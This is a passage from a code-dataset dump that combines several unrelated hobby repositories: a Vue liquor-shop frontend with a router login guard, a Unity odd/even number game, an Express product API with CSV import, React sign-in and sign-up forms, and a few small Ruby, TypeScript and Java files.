[ "Markdown", "C", "Makefile" ]
4
C
TomSteu/Seaborg
17adbed24e83807a3276b636d3e415d39c25d632
f21897e19fc9a3d48d6de0967eb6e7d81d5251e3
refs/heads/master
<repo_name>oneninezerofive/jiubianli<file_sep>/src/main.js import Vue from 'vue' import App from './App.vue' import router from './router' import axios from "axios"; Vue.prototype.$axios = axios //搜索 import { Search } from 'vant'; Vue.use(Search); // 标签页 import { Tab, Tabs } from 'vant'; Vue.use(Tab).use(Tabs); // 轮播图 import { Swipe, SwipeItem } from 'vant'; Vue.use(Swipe).use(SwipeItem); //底部组件 import { Tabbar, TabbarItem } from 'vant'; Vue.use(Tabbar).use(TabbarItem); //宫格 import { Grid, GridItem } from 'vant'; Vue.use(Grid).use(GridItem); //图片 import { Image } from 'vant'; Vue.use(Image); //商品卡片 import { Card,Row, Col} from 'vant'; Vue.use(Card).use(Row).use(Col); //下拉菜单 import { DropdownMenu, DropdownItem } from 'vant'; Vue.use(DropdownMenu).use(DropdownItem); //粘性布局 import { Sticky } from 'vant'; Vue.use(Sticky); //单元格 import { Cell, CellGroup } from 'vant'; Vue.use(Cell).use(CellGroup); //Field 输入框 import { Field } from 'vant'; Vue.use(Field); //按钮 import { Button } from 'vant'; Vue.use(Button); //骨架屏 import { Skeleton } from 'vant'; Vue.use(Skeleton); //商品导航 import { GoodsAction, GoodsActionIcon, GoodsActionButton } from 'vant'; Vue .use(GoodsAction) .use(GoodsActionIcon) .use(GoodsActionButton); //单选框 import { RadioGroup, Radio } from 'vant'; Vue.use(RadioGroup); Vue.use(Radio); //复选框 import { Checkbox, CheckboxGroup } from 'vant'; Vue.use(Checkbox).use(CheckboxGroup); //步进器 import { Stepper } from 'vant'; Vue.use(Stepper); //引入 import { SubmitBar } from 'vant'; Vue.use(SubmitBar); //轻提示 import { Toast } from 'vant'; Vue.use(Toast); Vue.config.productionTip = false new Vue({ router, render: h => h(App) }).$mount('#app') <file_sep>/src/router.js import Vue from 'vue' import Router from 'vue-router' import Home from './views/Home.vue' import Spleen from './components/main/Spleen.vue' import Product from './components/main/Product.vue' import Category from './components/main/Category.vue' import Classification from './components/main/Classification.vue' import my from './components/main/my.vue' import liquor from './components/main/jiulei/liquor.vue' import wine from './components/main/jiulei/wine.vue' import yellow from './components/main/jiulei/yellow.vue' import beer from './components/main/jiulei/beer.vue' import Foreign from './components/main/jiulei/Foreign.vue' import drinks from './components/main/jiulei/drinks.vue' import glass from './components/main/jiulei/glass.vue' import tea from './components/main/jiulei/tea.vue' import fresh from './components/main/jiulei/fresh.vue' import login from './components/main/login.vue' import reg from './components/main/reg.vue' import shopping_car from './components/main/shopping_car.vue' import Details from './components/main/jiulei/Details.vue' Vue.use(Router) let router = new Router({ routes: [{ path: '/home', name: 'home', component: Home }, { path: '/about', name: 'about', // route level code-splitting // this generates a separate chunk (about.[hash].js) for this route // which is lazy-loaded when the route is visited. component: () => import( /* webpackChunkName: "about" */ './views/About.vue') }, { //热门活动 path: '/Home', name: 'activity', component: Home }, { //四元喝啤酒 path: '/Spleen', name: 'spleen', component: Spleen }, { //潮品上市 path: '/Product', name: 'product', component: Product }, { //品类精选 path: '/Category', name: 'category', component: Category }, { //分类 path: '/Classification', name: 'classification', component: Classification, redirect: '/Classification/liquor', children: [{ //白酒 path: 'liquor', name: 'liquor', component: liquor, }, { //葡萄酒 path: 'wine', name: 'wine', component: wine, }, { //黄酒 path: 'yellow', name: 'Yellow', component: yellow, }, { //啤酒 path: 'beer', name: 'beer', component: beer, }, { //洋酒 path: 'Foreign', name: 'Foreign', component: Foreign, }, { //饮料 path: 'drinks', name: 'drinks', component: drinks, }, { //酒具 path: 'glass', name: 'glass', component: glass, }, { //茶叶 path: 'tea', name: 'tea', component: tea, }, { //生鲜 path: 'fresh', name: 'fresh', component: fresh, } ] }, { //我的 path: '/my', name: 'my', component: my, }, { //登录 path: '/login', name: 'login', component: login }, { //注册 path: '/reg', name: 'reg', component: reg }, { //详情页 path: '/Details/:ProductVariantID', name: 'Details', component: Details, }, , { //购物车 path: '/shopping_car', name: 'shopping_car', component: shopping_car, },{ path:'/', redirect:'/home' } ] }) // 全局前置守卫 // 要进入路由,都要先通过这个守卫 router.beforeEach(async (to, from, next) => { function getCookie(key) {//获取cookie值 var cookies = document.cookie;//name=malin; pwd=<PASSWORD> var arr = cookies.split('; ');//['name=malin','pwd=<PASSWORD>'] for(var i = 0; i < arr.length; i++){ var arr2 = arr[i].split('=');//['name','malin' if(key == arr2[0]) { return arr2[1]; } }; } let isLogin = getCookie('isLogin'); // 如果你登陆了你就next // 或者你就要去登陆页,你也可以next // 如果你是首页,详情页,登录页或者你登陆了,都可以进去,否则不给你进去 if (isLogin || to.path!=="/shopping_car" || to.path === '/login') { next() } else { // 编程式导航 router.push({ name: 'login' }) } }) export default router
0589e390a2bf76186a6eb2c4dc551e8e5e5a972f
[ "JavaScript" ]
2
JavaScript
oneninezerofive/jiubianli
aa70761b0675a2b51f324449713d1295d8a96ee5
b079570d0fbf7a23cca647c6185cc6ad5f223012
refs/heads/master
<file_sep>class Tracks < ActiveRecord::Migration def change create_table :tracks do |table| table.string :name table.string :length table.string :city end end end <file_sep># Mile-Runner
eaae8e528faf488b34cf72a08411f08e400ab3b7
[ "Markdown", "Ruby" ]
2
Ruby
EWarringer/Mile-Runner
58b127f98b7ab411f382f7c1d257f5d11bc2bc22
4e2a6c6e5f4dbb453319cc1108fa640985ffb79f
refs/heads/master
<file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class GameController : MonoBehaviour { public Text randomNumber; int intRandomNumber; public Text scoreText; public int score; int auxDebug; public Button Button1, Button2; public Text initialText; bool gameOver = false; public Text end; // Use this for initialization void Start () { score = 0; randomNumber.text = ""; end.text = ""; StartCoroutine(changeNumber()); Button oddButton = Button1.GetComponent<Button>(); Button evenButton = Button2.GetComponent<Button>(); //Calls the TaskOnClick method when you click the Button oddButton.onClick.AddListener(delegate { checkButton(oddButton.name); }); evenButton.onClick.AddListener(delegate { checkButton(evenButton.name); }); } // Update is called once per frame void Update () { Destroy(initialText,2); if (score == 5) { gameOver = true; end.text = "You Win!"; } } IEnumerator changeNumber() { yield return new WaitForSeconds(2); while (!gameOver) { intRandomNumber = Random.Range(0, 100); randomNumber.text = intRandomNumber.ToString(); yield return new WaitForSeconds(3); } } void checkButton(string nameButton) { if ((intRandomNumber % 2 == 0) && (nameButton.Equals("Even"))) { UpdateScore(); } else if ((intRandomNumber % 2 != 0) && (nameButton.Equals("Odd"))) { UpdateScore(); } } void UpdateScore() { score += 1; scoreText.text = "Score: " + score; } }
713dde6296b8a8ef7cdba88c902e0d9708d55cc0
[ "C#" ]
1
C#
palomaguenes/UnityProjects
e1d096c281bc41a9f635637b5e5836dfea57de10
62be632f91c5097585bc5c1f7e2777db2d6d8737
refs/heads/main
<file_sep>"use strict"; const Generator = require("yeoman-generator"); const chalk = require("chalk"); const yosay = require("yosay"); const config = require("./templates/package.json"); const { name } = require("../../package.json"); module.exports = class extends Generator { prompting() { // Have Yeoman greet the user. this.log(yosay(`Welcome to the glorious ${chalk.red(name)} generator!`)); const prompts = [ { type: "input", name: "name", message: "What sould the project name be? " }, { type: "input", name: "author", message: "What is your username? " }, { type: "input", name: "description", message: "What is your description? " }, { type: "input", name: "version", message: "What is the version of your project? ", default: "1.0.0" }, { type: "input", name: "license", message: "What is your license? ", default: "MIT" } ]; return this.prompt(prompts).then(props => { // To access props later use this.props.someAnswer; this.props = props; config.name = props.name; config.author = props.author; config.description = props.description; config.version = props.version; config.license = props.license; }); } writing() { this.fs.writeJSON(this.destinationPath("package.json"), config); } install() {} };
1a93b8f59bc2b4225a8cc2cc5d8442b724d6bbb9
[ "JavaScript" ]
1
JavaScript
Minecodes/generator-minpm
e43bc30dba3542a6761646cd4dbcbe4542831483
3acded58a7d145f5d7e157322653cdc21e0776c5
refs/heads/master
<file_sep>///<reference path="../_definitions.ts"/> /** * Created by taikiken on 14/10/13. */ var inazuma; (function (inazuma) { var events; (function (events) { var EventData = (function () { function EventData() { } Object.defineProperty(EventData.prototype, "listener", { get: function () { return this._listener; }, set: function (listener) { this._listener = listener; }, enumerable: true, configurable: true }); Object.defineProperty(EventData.prototype, "type", { get: function () { return this._type; }, set: function (type) { this._type = type; }, enumerable: true, configurable: true }); Object.defineProperty(EventData.prototype, "target", { get: function () { return this._target; }, set: function (target) { this._target = target; }, enumerable: true, configurable: true }); return EventData; })(); events.EventData = EventData; })(events = inazuma.events || (inazuma.events = {})); })(inazuma || (inazuma = {})); <file_sep>Inazuma.ts ============ fork inazumatv.util.js
acb68a0c46cb0c0bcf91b8bd50d9bb5a545fea3e
[ "JavaScript", "Markdown" ]
2
JavaScript
taikiken/inazuma.ts
a239543cb50d387db55a4651168e4cbee04e4ea1
f376936802ec3435eb8936ad1ccca91fe8275dc4
refs/heads/main
<file_sep>package com.pxinfo.pxdelivery; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class PxdeliveryApplication { public static void main(String[] args) { SpringApplication.run(PxdeliveryApplication.class, args); } }
f9a9780b3a1139614bc8f2f2e3b9fff6fee76fac
[ "Java" ]
1
Java
nandopx/pxdelivery
c6b40795f4e7293069b1cb835ba8af214fdc601a
1d967f813bce5924bd3adadbea856a30a4d9bc8d
refs/heads/master
<repo_name>GeorgeWeb/parallel-bchain<file_sep>/implementations/sequential/CMakeLists.txt cmake_minimum_required(VERSION 3.12) project(block_chain) set(CMAKE_CXX_STANDARD 17) # pass the source files to compile and produce an executable from them set(SOURCES src/main.cpp src/sha256.cpp src/${PROJECT_NAME}.cpp) add_executable(${PROJECT_NAME} ${SOURCES}) <file_sep>/implementations/omp/CMakeLists.txt cmake_minimum_required(VERSION 3.12) project(block_chain) # find the system threading library, # prefer the pthreads implementation set(CMAKE_THREAD_PREFER_PTHREAD TRUE) set(THREADS_PREFER_PTHREAD_FLAG TRUE) # determine the threading library find_package(Threads REQUIRED) # find openmp find_package(OpenMP) # set c/c++ compiler flags for openmp if (OPENMP_FOUND) set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${OpenMP_C_FLAGS}") set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${OpenMP_CXX_FLAGS}") set (CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${OpenMP_EXE_LINKER_FLAGS}") endif() set(CMAKE_CXX_STANDARD 17) # pass the source files to compile and produce an executable from them set(SOURCES src/main.cpp src/sha256.cpp src/${PROJECT_NAME}.cpp) add_executable(${PROJECT_NAME} ${SOURCES}) # link the executable with the threading library's generated imported target target_link_libraries(${PROJECT_NAME} PRIVATE Threads::Threads) <file_sep>/implementations/tpool-futures/util/timer.hpp #ifndef UTIL_TIMER_HPP_ #define UTIL_TIMER_HPP_ #include <chrono> #include <ctime> #include <iostream> #include <string> #include <type_traits> namespace util { // prototype of the timer class template <typename T, typename Ratio> class timer; // prototype of the operator to be overloaded for class timer template <typename T, typename Ratio> std::ostream &operator<<(std::ostream &os, const timer<T, Ratio> &obj); // implementing the timer class template <typename T = double, typename Ratio = std::ratio<1, 1>> // default Ratio is seconds class timer final { // convenience type aliases using clock = std::chrono::high_resolution_clock; using duration = std::chrono::duration<T, Ratio>; public: timer() : _start(clock::now()) {} inline void reset() { _start = clock::now(); } inline T get_elapsed() const { duration elapsed = clock::now() - _start; return elapsed.count(); } inline std::string RatioToString() const { return std::string(std::is_same<Ratio, std::ratio<1, 1>>::value ? "second(s)" : std::is_same<Ratio, std::milli>::value ? "millisecond(s)" : std::is_same<Ratio, std::micro>::value ? "microsecond(s)" : std::is_same<Ratio, std::nano>::value ? "nanosecond(s)" : ""); } // declaring operator<< overload for class timer friend std::ostream &operator<<<>(std::ostream &os, const timer &obj); private: std::chrono::time_point<clock> _start; }; // implementing the operator<< overload for class timer template <typename T, typename Ratio> std::ostream &operator<<(std::ostream &os, const timer<T, Ratio> &obj) { return os << obj.get_elapsed() << ' ' << obj.RatioToString(); } } // namespace util #endif // UTIL_TIMER_HPP_ <file_sep>/implementations/threads-atomics/src/block_chain.cpp #include "block_chain.h" #include "sha256.h" #include <algorithm> #include <cmath> #include <iostream> #include <sstream> #include <thread> using namespace std; // Note that _time would normally be set to the time of the block's creation. // This is part of the audit a block chain. To enable consistent results // from parallelisation we will just use the index value, so time increments // by one each time: 1, 2, 3, etc. block::block(uint32_t index, const string &data, thread_alloc option) : _index(index), _data(data), _nonce(0), _time(static_cast<long>(index)), _thread_alloc(option) { _hash = ""; _nonce = make_shared<atomic<uint64_t>>(0); _modified_hash = make_shared<atomic<bool>>(false); _mu = make_shared<mutex>(); } void block::mine_block(uint32_t difficulty, uint32_t max_difficulty) noexcept { // Lambda that *dynamically* returns optimal thread count depending on the // difficulty level. const auto optimal_thread_count = [difficulty, max_difficulty]() -> unsigned int { constexpr auto potentially_used_thread_count = 1u; // assuming: main() constexpr auto minimum_thread_count = 2u; // Lambda that performs the calculation, const auto calculate_optimal = [difficulty, max_difficulty] { const auto hardware_thread_count = thread::hardware_concurrency() - potentially_used_thread_count; const auto dynamic_thread_count = minimum_thread_count + max_difficulty - abs(static_cast<int>(max_difficulty / difficulty)); // Configurations for lower-level difficulties. if (difficulty < 2) { return dynamic_thread_count; } else if (difficulty == 2) { return static_cast<unsigned int>(pow(minimum_thread_count, difficulty)); } return max(hardware_thread_count, dynamic_thread_count); }; return calculate_optimal(); }; // Get the number of threads to run. if (_thread_alloc == thread_alloc::hardware) { _thread_num = thread::hardware_concurrency(); } else { _thread_num = optimal_thread_count(); } // Declares a vector of threads to run. vector<thread> threads(_thread_num); cout << "Running using " << threads.size() << " threads" << endl; // Lambda helper function that calculates the block's hash value in a // concurrent/thread-safe manner. auto concurrent_calculate_hash = [difficulty, this]() { const string str(difficulty, '0'); std::unique_lock<mutex> guard(*_mu, defer_lock); // Calculate the correct hash value. while (!_modified_hash->load()) { if (const string local_hash = calculate_hash(); local_hash.substr(0, difficulty) == str && !_modified_hash->load()) { { guard.lock(); _hash = local_hash; } _modified_hash->store(true); } } }; // Submits tasks to the threads. for_each(begin(threads), end(threads), [concurrent_calculate_hash](auto &th) { th = thread(concurrent_calculate_hash); }); // Executes the threads. for_each(begin(threads), end(threads), [](auto &th) { if (th.joinable()) { th.join(); } }); cout << "Block mined: " << _hash << endl; } string block::calculate_hash() const noexcept { stringstream ss; ss << _index << _time << _data << ++*_nonce << prev_hash; return sha256(ss.str()); } block_chain::block_chain() : _difficulty(1), _max_difficulty(1) { _chain.emplace_back(block(0, "Genesis Block")); } block_chain::block_chain(uint32_t difficulty, uint32_t max_difficulty) : _difficulty(difficulty), _max_difficulty(max_difficulty) { _chain.emplace_back(block(0, "Genesis Block")); } void block_chain::add_block(block &&new_block) noexcept { new_block.prev_hash = get_last_block().get_hash(); new_block.mine_block(_difficulty, _max_difficulty); _chain.push_back(new_block); } <file_sep>/implementations/sequential/src/block_chain.cpp #include "block_chain.h" #include "sha256.h" #include <iostream> #include <limits> #include <sstream> using namespace std; // Note that _time would normally be set to the time of the block's creation. // This is part of the audit a block chain. To enable consistent results // from parallelisation we will just use the index value, so time increments // by one each time: 1, 2, 3, etc. block::block(uint32_t index, const string &data) : _index(index), _data(data), _nonce(0), _time(static_cast<long>(index)) {} void block::mine_block(uint32_t difficulty) noexcept { const string str(difficulty, '0'); // Calculate the correct hash value. while (_hash.substr(0, difficulty) != str) { ++_nonce; _hash = calculate_hash(); } cout << "Block mined: " << _hash << endl; } string block::calculate_hash() const noexcept { stringstream ss; ss << _index << _time << _data << _nonce << prev_hash; return sha256(ss.str()); } block_chain::block_chain() : _difficulty(1) { _chain.emplace_back(block(0, "Genesis Block")); } block_chain::block_chain(uint32_t difficulty) : _difficulty(difficulty) { _chain.emplace_back(block(0, "Genesis Block")); } void block_chain::add_block(block &&new_block) noexcept { new_block.prev_hash = get_last_block().get_hash(); new_block.mine_block(_difficulty); _chain.push_back(new_block); } <file_sep>/README.md # Optimising Block-chain Algorithm by adding parallelism ## Aim The main aim is to present and analyse multiple parallel implementations of the sequential version of the block-chain algorithm via the use of different techniques. ## Overview The main idea of the project is to compare, analyse and discuss the parallelisation of the algorithm with every one of the mentioned methods with the use of helpful tools and techniques and such as profilers, scoped timers and plotting. ## Parallel techniques - OpenMP - Multi-Threading with Atomics - Thread Pool using Futures ## How To Build Use the CMakeLists.txt that is inside every implementation's folder and target your compiler of choice (must support C++17) <file_sep>/analysis/plotting/plot-seq.R SequentialX <- ResultsSequential$Difficulty SequentialY <- as.numeric(as.character(ResultsSequential$`Average Time Per Block`)) sequentialFrame <- data.frame( SequentialX, SequentialY ) cols = c("Difficulty", "Average Time Per Block") colnames(sequentialFrame) = cols library(ggplot2) library(ggthemes) p <- ggplot2::ggplot(data = sequentialFrame, aes(x = Difficulty, y = `Average Time Per Block`, fill = Difficulty, color = Difficulty, label = `Average Time Per Block`)) + ggthemes::theme_economist_white() + geom_line() + labs(x = "Difficulty", y = "Time (ms)", title = "Average Time Taken (ms) vs Difficulty", subtitle = "Baseline performance measurement of the Sequential technique") print(p) <file_sep>/analysis/plotting/plot-all-dynamic.R TechniqueDIfficulty <- ResultsAllDynamic$Difficulty TechniqueAvgTime <- as.numeric(as.character(ResultsAllDynamic$`Average Time Per Block`)) TechniqueName <- ResultsAllDynamic$Technique TechniqueSpeedup <- as.numeric(as.character(ResultsAllDynamic$Speedup)) TechniqueEfficiency <- as.numeric(as.character(ResultsAllDynamic$Efficiency)) allTechniquesFrame <- data.frame( TechniqueDIfficulty, TechniqueAvgTime, TechniqueName, TechniqueSpeedup, TechniqueEfficiency ) cols = c("Difficulty", "Average Time Per Block", "Technique", "Speedup", "Efficiency") colnames(allTechniquesFrame) = cols library(ggplot2) library(ggthemes) library(scales) diffifculy_labels <- c("1" = "Difficulty 1", "2" = "Difficulty 2", "3" = "Difficulty 3", "4" = "Difficulty 4", "5" = "Difficulty 5") # Average time comparison between all methods # pAvgTimeBar <- ggplot(data = allTechniquesFrame, aes(x = Technique, y = `Average Time Per Block`, fill = Technique)) + ggthemes::theme_economist_white() + geom_bar(stat = "identity", position = 'stack') + facet_grid(~ Difficulty, labeller=labeller(Difficulty = diffifculy_labels)) + theme(strip.text.x = element_text(size=12, angle=0), strip.text.y = element_text(size=16, face="bold"), strip.background = element_rect(color="black", fill="grey")) + labs(x = "Technique", y = "Time (Log2 / ms)", title = "Log of Average Time Taken (ms) vs Difficulty", subtitle = "Comparison between all methods using dynamic number of threads calculation") + scale_x_discrete(breaks=c("0. Sequential","1. OpenMP","2. Threads + Atomics", "3. Thread Pool + Futures"), labels = c("", "", "", "")) + scale_y_continuous(trans='log2') # Speedup comparison bar graph between all parallel methods # pSpeedupBar <- ggplot(data = subset(allTechniquesFrame,Technique != c("0. Sequential")), aes(x = Technique, y = Speedup, fill = Technique)) + ggthemes::theme_economist_white() + geom_bar(stat = "identity", position = 'stack') + facet_grid(~ Difficulty, labeller=labeller(Difficulty = diffifculy_labels)) + theme(strip.text.x = element_text(size=12, angle=0), strip.text.y = element_text(size=16, face="bold"), strip.background = element_rect(color="black", fill="grey")) + labs(x = "Technique", y = "Speedup factor", title = "Speedup vs Technique, Difficulty", subtitle = "Comparison between all parallel techniques using dynamic number of threads calculation") + scale_x_discrete(breaks=c("1. OpenMP","2. Threads + Atomics", "3. Thread Pool + Futures"), labels = c("", "", "")) # Efficiency comparison bar graph between all parallel methods # pEfficiencyBar <- ggplot(data = subset(allTechniquesFrame,Technique != c("0. Sequential")), aes(x = Technique, y = Efficiency, fill = Technique)) + ggthemes::theme_economist_white() + geom_bar(stat = "identity", position = 'stack') + facet_grid(~ Difficulty, labeller=labeller(Difficulty = diffifculy_labels)) + theme(strip.text.x = element_text(size=12, angle=0), strip.text.y = element_text(size=16, face="bold"), strip.background = element_rect(color="black", fill="grey")) + labs(x = "Technique", y = "Efficiency factor", title = "Efficiency vs Technique, Difficulty", subtitle = "Comparison between all methods using dynamic number of threads calculation") + scale_x_discrete(breaks=c("1. OpenMP","2. Threads + Atomics", "3. Thread Pool + Futures"), labels = c("", "", "")) print(pAvgTimeBar) #print(pSpeedupBar) #print(pEfficiencyBar)<file_sep>/implementations/tpool-futures/CMakeLists.txt cmake_minimum_required(VERSION 3.12) project(block_chain) # find the system threading library, # prefer the pthreads implementation set(CMAKE_THREAD_PREFER_PTHREAD TRUE) set(THREADS_PREFER_PTHREAD_FLAG TRUE) # determine the threading library find_package(Threads REQUIRED) set(CMAKE_CXX_STANDARD 17) # pass the source files to compile and produce an executable from them set(SOURCES src/main.cpp src/sha256.cpp src/${PROJECT_NAME}.cpp) add_executable(${PROJECT_NAME} ${SOURCES}) # link the executable with the threading library's generated imported target target_link_libraries(${PROJECT_NAME} PRIVATE Threads::Threads) <file_sep>/implementations/sequential/src/main.cpp #include "block_chain.h" #include "../util/file_io.hpp" #include "../util/timer.hpp" #include <algorithm> #include <cstdlib> #include <iostream> #include <limits> #include <numeric> #include <string> #include <vector> using namespace std; auto main(int argc, char **argv) -> int { // benchmark configuration variables constexpr auto chain_size = 1u; // tested with 50u constexpr auto iterations = 1u; // tested with 50u constexpr auto max_difficulty = 5u; for (auto diff_i = 1u; diff_i < max_difficulty + 1u; ++diff_i) { // Define file name to save benchmark data to. string filename("results-sequential.csv"); // Save header to file. const auto header = string("Average Time Per Block, Difficulty"); util::file_io::get().save(header, filename); // Define program timer. util::timer<double, milli> timer{}; // Declaring a vector that will store average times to mine a block for each // iteration. vector<double> block_times; block_chain bchain(diff_i); for (auto iter_i = 1u; iter_i < iterations + 1u; iter_i++) { // Begin new timer every iteration. timer.reset(); for (auto block_i = 1u; block_i < chain_size + 1u; ++block_i) { cout << "Mining block " << block_i << "... Difficulty = " << diff_i << ", Iteration = " << iter_i << endl; bchain.add_block(block( block_i, string("Block ") + to_string(block_i) + string(" Data"))); } // End timer and add an averaged value the vector of iterations. block_times.push_back(timer.get_elapsed() / static_cast<double>(chain_size)); } // Calculate and save the average time taken to mine 1 block based on all of // the iterations. const auto avg_block_time = accumulate(begin(block_times), end(block_times), 0.0) / iterations; cout.precision(numeric_limits<double>::max_digits10); cout << "[AVERAGE] Time Per Block: " << avg_block_time << endl; // Save (append) measured data to file after the header. const auto body = string(to_string(avg_block_time) + ", " + to_string(diff_i)); util::file_io::get().save(body, filename); } return EXIT_SUCCESS; } <file_sep>/implementations/tpool-futures/src/block_chain.h #pragma once #include "../include/tpool/tpool.hpp" #include <string> #include <vector> enum class thread_alloc : int { dynamic = 0, hardware = 1 }; class block final { public: block(uint32_t index, const std::string &data, thread_alloc option = thread_alloc::hardware); // Difficulty is the minimum number of zeros we require at the // start of the hash. void mine_block(uint32_t difficulty, uint32_t max_difficulty) noexcept; inline const std::string &get_hash() const noexcept { return _hash; } // Hash code of the previous block in the chain. std::string prev_hash; private: // The index of the block in the chain. uint32_t _index; // A modifier used to get a suitable block. mutable std::shared_ptr<std::atomic<uint64_t>> _nonce; // A flag to check for successful hash calculation. mutable std::shared_ptr<std::atomic<bool>> _modified_hash; // Data stored in the block. std::string _data; // Hash code of this block. std::string _hash; // Time code block was created. long _time; // The number of threads value. unsigned int _thread_num; // Option to determine a way to define/calculate the number of threads. thread_alloc _thread_alloc; std::string calculate_hash() const noexcept; }; class block_chain final { private: uint32_t _difficulty; uint32_t _max_difficulty; std::vector<block> _chain; inline const block &get_last_block() const noexcept { return _chain.back(); } public: block_chain(); block_chain(uint32_t difficulty, uint32_t max_difficulty); void add_block(block &&new_block) noexcept; };
103250e2ed82f04cf1b4068bf13230988ee3db38
[ "Markdown", "CMake", "C++", "R" ]
11
CMake
GeorgeWeb/parallel-bchain
86d409bc19593110eab8c999ffef1aa6819bb6ff
5104d07070118f313cbf8c75b2642b047b282a00
refs/heads/main
<file_sep>const router = require('express').Router(); let Product = require('../models/product.model'); router.route('/').get((req,res) => { Product.find() .then(products => res.json(products)) .catch(err => res.status(400).json('Error: ' + err)); }) router.route('/add').post((req,res) => { const productname = req.body.productname; const manufacturer = req.body.manufacturer; const partnumber = req.body.partnumber; const productcategory = req.body.productcategory; const dimensions = req.body.dimensions; const productcolours = req.body.productcolours; const marketinginfo = req.body.marketinginfo; const image_url = req.body.image_url; const dateOfOrder = new Date(); const no_of_products = req.body.no_of_products; console.log("add post req.body:", req.body); console.log("add post req.query:", req.query); const newProduct = new Product({ productname, manufacturer, partnumber, productcategory, dimensions, productcolours, marketinginfo, image_url, dateOfOrder, no_of_products }); newProduct.save() .then(() => res.json('Product Added!')) .catch(err => res.status(400).json('Error: ' + err)); }); router.route('/csvadd').post(async(req,res) => { for(const item of req.body){ const productname = item.productname; const manufacturer = item.manufacturer; const partnumber = item.partnumber; const productcategory = item.productcategory; const dimensions = item.dimensions; const productcolours = item.productcolours; const marketinginfo = item.marketinginfo; const dateOfOrder = new Date(); const no_of_products = item.no_of_products; const image_url = item.image_url; console.log("Item", item); const newProduct = new Product({ productname, manufacturer, partnumber, productcategory, dimensions, productcolours, marketinginfo, image_url, dateOfOrder, no_of_products }); try{ await newProduct.save()} catch(error) { console.log('Error' + error) res.status(400).json('Error: ' + error) return } } res.json('Products Added!') }); router.route('/:id').get((req,res) => { Product.findById(req.params.id) .then(product => res.json(product)) .catch(err => res.status(400).json('Error: ' + err)); }); router.route('/:id').delete((req,res) => { Product.findByIdAndDelete(req.params.id) .then(() => res.json('Product Deleted')) .catch(err => res.status(400).json('Error: ' + err)); }); router.route('/update/:id').post((req,res) => { Product.findById(req.params.id) .then(product => { product.productname = req.body.productname; product.manufacturer = req.body.manufacturer; product.partnumber = req.body.partnumber; product.productcategory = req.body.productcategory; product.dimensions = req.body.dimensions; product.productcolours = req.body.productcolours; product.marketinginfo = req.body.marketinginfo; product.image_url = req.body.image_url; product.save() .then(() => res.json('Product Updated')) .catch(err => res.status(400).json('Error: ' + err)); }) .catch(err => res.status(400).json('Error: ' + err)); }); module.exports = router;<file_sep>import { Container } from "react-bootstrap"; import { Redirect, withRouter } from "react-router-dom"; import React, { Component } from "react"; import axios from "axios"; import { Link } from "react-router-dom"; class Login extends Component { constructor(props) { super(props); this.state = { username: "", password: "", isLoggedIn: false, show_alert: false, alert_message: "", firstLogged: false, }; } componentDidMount() { if (JSON.parse(localStorage.getItem("isLoggedIn"))) { this.setState({ isLoggedIn: true }); } } handleSubmit = async (event) => { event.preventDefault(); const creadentials = { username: this.state.username, password: <PASSWORD>, }; try { const resp = await axios.post("/api/auth/signin", creadentials); if (resp.data.status) { localStorage.setItem("isLoggedIn", true); localStorage.setItem("@token", resp.data.accessToken); this.setState({ isLoggedIn: true, firstLogged: true }); } else { this.setState({ show_alert: true, alert_message: resp.data.message }); } } catch (err) { // Handle Error Here console.error(err.massage); } }; renderRedirect = () => { if (this.state.firstLogged) { return ( <Redirect to={{ pathname: "/", state: { show_login_alert: true }, }} /> ); } if (this.state.isLoggedIn) { console.log("user is logged in"); return ( <Redirect to={{ pathname: "/profile", state: { show_login_alert: true }, }} /> ); } }; render() { return ( <Container className="mt-2"> <form onSubmit={this.handleSubmit}> <h3>Sign In</h3> {this.state.show_alert ? ( <div className="alert alert-danger" role="alert"> {this.state.alert_message} </div> ) : null} <div className="form-group"> <label>Username</label> <input type="text" className="form-control" placeholder="Enter Username" value={this.state.username} onChange={(e) => { this.setState({ username: e.target.value }); }} required /> </div> <div className="form-group"> <label>Password</label> <input type="password" className="form-control" placeholder="Enter password" value={this.state.password} onChange={(e) => { this.setState({ password: e.target.value }); }} required /> </div> <button type="submit" className="btn btn-primary btn-block"> Submit </button> {this.renderRedirect()} </form> <Link to="/sign-up"> <p className="m-1">Not got an account? Sign Up here</p> </Link> </Container> ); } } export default withRouter(Login); <file_sep>// import React from "react"; // class Cloudinary extends React.Component { // render() { // let widget = window.cloudinary.createUploadWidget( // { // cloudName: "phase2projectbirmingham", // uploadPreset: "xuimcgyf", // }, // (error, result) => { // if (!error && result && result.event === "success") { // console.log("Done! Here is the image info: ", result.info); // } // } // ); // return ( // <div> // <button // onClick={() => { // widget.open(); // }} // > // Upload photo // </button> // </div> // ); // } // } // export default Cloudinary; <file_sep>import React, { Component } from "react"; import axios from "axios"; import { Redirect, withRouter } from "react-router-dom"; import { Container } from "react-bootstrap"; class Signup extends Component { constructor(props) { super(props); this.state = { username: "", password: "", email: "", isLoggedIn: false, alert_message: "", }; } componentDidMount() { if (JSON.parse(localStorage.getItem("isLoggedIn"))) { this.setState({ isLoggedIn: true }); } // this.renderRedirect(); } handleSubmit = async (event) => { event.preventDefault(); const creadentials = { username: this.state.username, password: <PASSWORD>, email: this.state.email, }; try { const resp = await axios.post("/api/auth/signup", creadentials); if (resp.data.status) { localStorage.setItem("isLoggedIn", true); localStorage.setItem("@token", resp.data.accessToken); this.setState({ isLoggedIn: true }); } else { this.setState({ show_alert: true, alert_message: resp.data.message }); } } catch (err) { // Handle Error Here console.error(err.massage); } }; renderRedirect = () => { if (this.state.isLoggedIn) { return <Redirect to="/profile" />; } }; render() { return ( <Container className="mt-2"> <form onSubmit={this.handleSubmit}> <h3>Sign Up</h3> {this.state.show_alert ? ( <div className="alert alert-danger" role="alert"> {this.state.alert_message} </div> ) : null} <div className="form-group"> <label>Username</label> <input type="text" className="form-control" placeholder="Enter Username" value={this.state.username} onChange={(e) => { this.setState({ username: e.target.value }); }} required /> </div> <div className="form-group"> <label>Email address</label> <input type="email" className="form-control" placeholder="Enter Email" value={this.state.email} onChange={(e) => { this.setState({ email: e.target.value }); }} required /> </div> <div className="form-group"> <label>Password</label> <input type="password" className="form-control" placeholder="Enter password" value={this.state.password} onChange={(e) => { this.setState({ password: e.target.value }); }} required /> </div> <button 